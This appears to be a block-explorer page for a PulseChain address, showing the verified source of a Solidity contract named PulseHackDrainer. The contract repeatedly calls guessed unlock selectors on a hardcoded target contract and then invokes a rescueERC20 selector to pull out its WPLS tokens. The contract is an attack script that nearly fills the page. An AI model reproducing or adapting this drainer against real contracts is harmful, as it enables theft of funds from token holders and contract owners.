Skip to main content
PulseScanner.io

Address

0x3679c74eee505c9d76f933e8d9d151e9cbe2dfd8
Current Holdings
$0.00
TXs sent
not counted
First Active
2026-02-21
block 25,845,546
Last Active
206 days ago
block 25,845,552
Funded By
not identified

Net worth historyi

No net-worth snapshots recorded yet
exact matchPulseHackDrainersolc 0.8.24+commit.e11b9ed9runtime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PulseHackDrainer {
    address public constant TARGET = 0xC561A5a6621C19386307b0fD09b92837A517b192;
    address public constant WPLS  = 0xA1077a294dDE1B09bB078844df40758a5D0f9a27;

    event Log(string msg, bool success, bytes data);

    // Try to unlock + drain in one tx
    function unlockAndDrain() external {
        // Step 1: Try all common public unlock / start functions (no params)
        bytes4[6] memory unlocks = [
            bytes4(0x3850c7bd), 0x1ad8b03b, 0x252c09d7,
            0x128acb08, 0x3c8a7d8d, 0x490e6cbc
        ];
        for (uint i = 0; i < unlocks.length; i++) {
            (bool s, bytes memory d) = TARGET.call(abi.encodeWithSelector(unlocks[i]));
            emit Log("Unlock attempt", s, d);
        }

        // Step 2: Rescue with the real selector
        (bool success, bytes memory data) = TARGET.call(
            abi.encodeWithSelector(0x4f1eb3d8, WPLS)
        );
        emit Log("rescueERC20 result", success, data);
        require(success, "Final rescue failed");
    }
}